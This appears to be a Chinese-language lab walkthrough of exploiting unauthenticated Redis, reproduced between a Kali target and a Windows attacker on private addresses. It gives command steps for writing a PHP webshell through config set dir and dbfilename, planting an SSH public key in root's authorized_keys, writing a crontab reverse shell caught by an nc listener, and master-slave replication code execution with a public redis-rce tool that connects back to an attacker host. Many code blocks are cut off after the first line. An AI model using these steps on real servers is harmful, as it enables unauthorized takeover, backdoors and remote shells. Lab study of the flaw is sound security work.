redis未授权
redis未授权
什么是redis
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:
- 基于内存运行,性能高效
- 支持分布式,理论上可以无限扩展
- key-value存储系统
- 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
相比于其他数据库类型,Redis具备的特点是:
- C/S通讯模型
- 单进程单线程模型
- 丰富的数据类型
- 操作具有原子性
- 持久化
- 高并发读写
- 支持lua脚本
简单来讲,redis其实就是一个非关系型数据库
redis未授权漏洞原理
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。写入文件操作就例如在日志文件里将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
redis漏洞复现
这里用的一台windows和一台kali,一台作为攻击机,一台作为靶机
kali安装redis
执行如下步骤
1 | 第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis |
如果在执行上诉步骤中遇到相关问题,可以直接把错误回应扔给chatgpt,chatgpt会给出相应解决方法
windows安装redis
1.Releases · microsoftarchive/redis (github.com)
安装好后解压到对应目录
2.双击安装目录下的”redis-server.exe”文件,并保持窗口开启(若关闭窗口则服务关闭)。
3.待开启后,就可以实现监听了(一定要在该目录上方输入cmd才行,不要直接右键点击空白处进入终端)
1 | redis-cli.exe -h 靶机IP |
到这里的环境就安装完毕了
利用redis写webshell
利用前提:
1 | 1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证 |
开始复现:
执行如下步骤:
1 | config get dir #查看redis数据库路径 |
中间有一步是修改路径。后来发现可以不要,接下来去靶机看看是否写入成功
可以看到已经写入成功了。到这里但是发现怎么都连接不上,所以就尝试着修改路径:
1 | config set dir /var/www/html |
接下来的操作和之前的一样,先进行phpinfo()的测试
1 | config set dbfilename test.php |
接下来在攻击机上进行连接验证(注意一定要在kali linux上开启web服务,例如apache,negix等等,相关下载命令可以问cgatgpt,如果未下载,也可通过php -S 0.0.0.0:8080来实现)
可见测试连接成功了。
写入shell文件:
1 | config set dbfilename muma.php |
尝试连接:
利用redis进行ssh密钥连接
ssh密钥连接:
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
利用前提:
1 | 1.当redis以root身份运行。 |
开始复现:
首先要有自己的ssh配套的公钥和私钥
windows下使用git来生成自己的ssh公钥与私钥,在桌面点击右键选择git bash here,执行如下命令:
1 | ssh-keygen -t rsa |
在用户名文件夹下的.ssh文件夹里
生成密钥之后我们可以将公钥id_rsa.pub里面内容复制粘贴到key.txt文件中,再上传到靶机上面,使用如下命令:
1 | type key.txt | redis-cli.exe -h 192.168.10.129 -x set xxx#如果是linux 将type换成cat |
通过命令cd ~/.ssh来进入.ssh文件夹下(一定要先成为超级用户,否则会进入失败)
可以看到已经上传成功了,接下来在攻击机上的.ssh文件夹的终端下执行如下命令:
1 | ssh -i id_rsa root@192.168.10.129 |
在这里输入你自己生成的私钥即可
注意:
1.如果你是linux系统使用cat,是windows系统使用type.
2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。
3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。
4.文件名必须是authorized_keys,由配置文件决定的。
利用crontab反弹shell
什么是crontab
crontab 是一个在类 Unix 系统中定时执行任务的命令,它允许用户在指定的时间点或时间间隔内运行命令或脚本。通常情况下,crontab 命令用于自动化重复性任务,如备份、数据同步、清理日志等。
用户可以通过 crontab 命令编辑和管理 crontab 文件,其中包含了需要定时执行的任务的详细信息,如执行命令、执行时间、执行频率等等。crontab 文件通常存储在 /var/spool/cron/crontabs目录下,每个用户都有一个对应的 crontab 文件。
crontab 命令有很多选项和语法规则,它可以帮助用户创建和管理自己的 crontab 文件。例如,您可以使用 crontab -e命令来编辑您的 crontab 文件,使用 crontab -l命令来列出当前用户的 crontab 文件中的所有任务,使用 crontab -r 命令来删除当前用户的 crontab 文件。还可以使用 man crontab命令来查看 crontab 的详细说明和使用说明。
总之,crontab 是一个非常强大和常用的类 Unix 系统工具,它能够帮助用户自动化重复性任务,提高工作效率和系统稳定性。
windows下下载ncat命令
下载好之后将文件路径添加到PATH路径下面,以便可以在任何路径下使用,配置好后假设监听8888端口:
1 | nc -lvp 8888 |
出现如下页面就表示监听成功:
1 | config set dir /var/spool/cron/crontabs |

问题解决
可能我们上面的工作都做好了之后会发现依旧没有给我们弹shell
第一个:首先你要看一下你的cron启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言cron都是自启动的。所以一般来说不会是这个出问题。
1 | service crond restart#重启 |
上面的命令不是一定的,有的环境下crond服务叫cron,可以用以下命令检测自己的cron服务叫什么名字
1 | systemctl list-unit-files | grep cron |
第二个:我发现我的cron启动了但是依然无法反弹shell,去找了资料知道利用redis未授权访问写的任务计划文件都有乱码,这是乱码来自redis的缓存数据,这个问题无法解决的。centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。我们手动删除乱码发现反弹仍然失败,查看资料发现我们还需要关注以下问题。
第三个:root文件的权限必须为600也就是说是rw———–,执行如下命令进行排查和更改
1 | ls -l |
第四个:我们反弹shell的/bin/sh是bash,而我的靶机的bin/sh是dash ,所以运行出错。我们需要通过以下命令查看和修改。
1 | ls -al /bin/sh#查看运行环境 |
主从复制
了解什么是主从复制
edis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。这个大家自己找一些资料了解一下。
主从复制反弹shell
如果要是的利用成功需要先下载攻击代码,步骤已经给到大家。不过linux来git clone可能会失败,所以这里的步骤是在windows上下载好之后直接将文件拖进linux,这里还有注意如果利用redis主从复制redis版本要是4.x或者5.x
靶机:kali 192.168.10.129
攻击机 windows 192.168.10.1
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git |
就会在相应文件夹下生成两个文件夹
将这两个文件夹拖入linux下,并进入RedisModules-ExecuteCommand目录,执行如下命令:
1 | make |
编译之后执行如下名令:
1 | mv module.so /home/yyb167111/桌面/redis-rce #就是redis-rce所在路径 |
执行之后,就将redis-rce拖入windows下,也就是复制,然后进入到redis-rce文件夹目录下,执行cmd进入终端,然后执行如下命令:
1 | python redis-rce.py -r 192.168.10.129 -L 192.168.10.1 -f module.so |
可以看到一些参数,-r指的是靶机IP -L指的是攻击机IP,如果没有指定端口就会使用默认端口。
运行以下命令,会让你选择,可以输入i,r,e分别对应交互式shell,反弹shell和退出吧。
如果反弹shell就需要监听端口
注意:如果redis需要密码,可以加-a参数。